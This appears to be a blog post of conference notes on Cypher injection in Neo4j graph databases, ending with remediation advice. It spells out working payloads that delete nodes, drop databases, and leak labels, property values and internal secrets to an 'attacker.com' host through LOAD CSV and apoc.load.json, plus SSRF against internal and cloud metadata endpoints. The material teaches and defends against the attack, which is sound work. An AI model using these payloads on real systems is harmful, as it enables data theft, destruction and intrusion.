Conference notes: How to Differentiate Yourself as a Bug Bounty Hunter (OWASP Stockholm)
Posted in Conference notes on November 7, 2018
Posted in Conference notes on November 29, 2022
Hi! This week’s conf’notes are from ‘Cypher Query Injection - the new “SQL Injection” we aren’t aware of’ by Noy Pearl at BSides TLV and BSides Orlando.
This in an excellent introduction to Cypher injection in graph databases like Neo4j. Noy Pearl breaks down everything from the basics to advanced exploitation, sharing her own research and a playground for practice.
Relational database | Graph database | |
---|---|---|
Vendor examples | MySQL, Microsoft SQL Server | Neo4j, RedisGraph, Amazon Neptune |
What it looks like | Tables, rows, columns: | Graphs, nodes, relationships: ) |
Graph example:
Terms:
Node, Relationship & Node:
Variable, Label & Property:
Query example:
MATCH (c:Character) RETURN
MATCH (c:Character)
WHERE c.name = 'Spongebob'
RETURN c
Vulnerable query
SELECT * FROM "characters" WHERE name = "Spongebob"
returns:
Injection
If name is based on user input, injecting Spongebob" OR 1=1--
will change the query to:
SELECT * FROM "characters" WHERE name = "Spongebob" OR 1=1--"
It’ll return:
MATCH By Name - Vulnerable query
MATCH (c:Character)
WHERE c.name = ' + USER_INPUT + ' RETURN c Spongebob
// E.g. return the node that has the name Spongebob:
MATCH (c:Character)
WHERE c.name = 'Spongebob' RETURN c
MATCH By Name injection - Return all
Injecting Spongebob' or 1=1 RETURN c//
will change the query to:
MATCH (c:Character)
WHERE c.name = 'Spongebob' or 1=1 RETURN c//' RETURN c
which returns all nodes.
This is the equivalent of the previous SQL injection example.
Problem
In order to inject RETURN c
, we need to know there is a variable called c
(but more that in a sec).
MATCH By Name injection - Delete node
Vulnerable query:
MATCH (c:Character)
WHERE c.name = ' + USER_INPUT + ' RETURN c Spongebob
Injecting Spongebob' DELETE c//
will change the query to:
MATCH (c:Character)
WHERE c.name ='Spongebob' DELETE c//' RETURN c
which deletes the node.
MATCH By Name injection - Delete everything
Vulnerable query:
MATCH (c:Character)
WHERE c.name = ' + USER_INPUT + ' RETURN c Spongebob
Injecting Spongebob' MATCH (all:Character) DELETE all//
will change the query to:
MATCH (c:Character)
WHERE c.name = 'Spongebob'
MATCH (all:Character)
DELETE all//'
RETURN c
We inserted two clauses (MATCH & DELETE). This creates a variable called all
to get all the nodes that have a label called Character
, then deletes them.
Problem
In blackbox testing, we can’t see the query. So we don’t know that there is a label Character
.
The solution is to leak this data by leveraging a legitimate Neo4j functionality called LOAD CSV
:
LOAD CSV FROM https://your-website/data.csv
Payload to leak all labels:
CALL db.labels() YIELD label
LOAD CSV FROM 'https://attacker.com/'+label
AS b RETURN b//
What this does:
Notice the User-Agent is NeoLoadCSV_Java
.
We know there is a label called Character
.
Payload to leak its properties:
MATCH (c:Character)
LOAD CSV FROM 'https://attacker.com/'+apoc.text.join(keys(c), '')
AS b RETURN b//
What this does:
Character
We know there is a label called Character
& a property called name
.
Payload to leak the names (i.e. values of the property name
):
MATCH (c:Character)
LOAD CSV FROM 'https://attacker.com/'+c.name
AS b RETURN b//
Leak & Kill connections
CALL dbms.listConnections()
CALL dbms.killConnection("bolt-9276")
CALL dbms.killConnections(["bolt-9276", "bolt-9273"])
Impact:
Drop database
SHOW databases
DROP database spongebob
Leveraging LOAD CSV for SSRF
LOAD CSV FROM <url-of-internal-server>
, you can make the vulnerable server send requests to internal servers and access hidden endpoints, enumerate directories and files, leak data to your server, etcLateral movement in the cloud
LOAD CSV FROM
to query the AWS metadata service to find out to which other machine(s) you can escalate your attackX-aws-ec2-metadata-token
, to allow queries to the AWS metadata service. Noy didn’t find a way to include this token in GET requests sent by LOAD CSV FROM
.Leak secrets through SSRF
Let’s say there is an internal endpoint that hosts a sensitive file:
Cypher injection can be exploited to leak the secret in this file:
LOAD CSV FROM "http://localhost:3030/internal-api/keys.txt"
AS secret
LOAD CSV FROM "http://attacker.com/"+secret[0]
AS LINE RETURN secret[0]//
What this does:
LOAD CSV FROM
gets the secret file from the other server, and saves it as secret
LOAD CSV FROM
sends a request to our server, with the request appended at the end
Note that:
apoc.load.json
can be used if LOAD CSV is blocked to leak the same information:MATCH (c:Character)
CALL apoc.load.json("https://attacker.com/data.json?leaked="+c.name)
YIELD value RETURN value//
Remediation
// Not vulnerable (parameterized query)
session.run("MATCH (c:Character)
WHERE c.name = $name RETURN c", {name: name})
// Vulnerable (string concatenated with Cyper query)
session.run("MATCH (c:Character)
WHERE c.name '" + name + "' + RETURN c)
Mitigations
neo4j.conf
(since version 4.3)db.labels
)CASE WHEN
can be used for Cypher injection (if-based, with OR 1=2
)db.labels
and check wether the first letter equals ‘a’ (using OR 1=2
to get the result if it’s blind injection)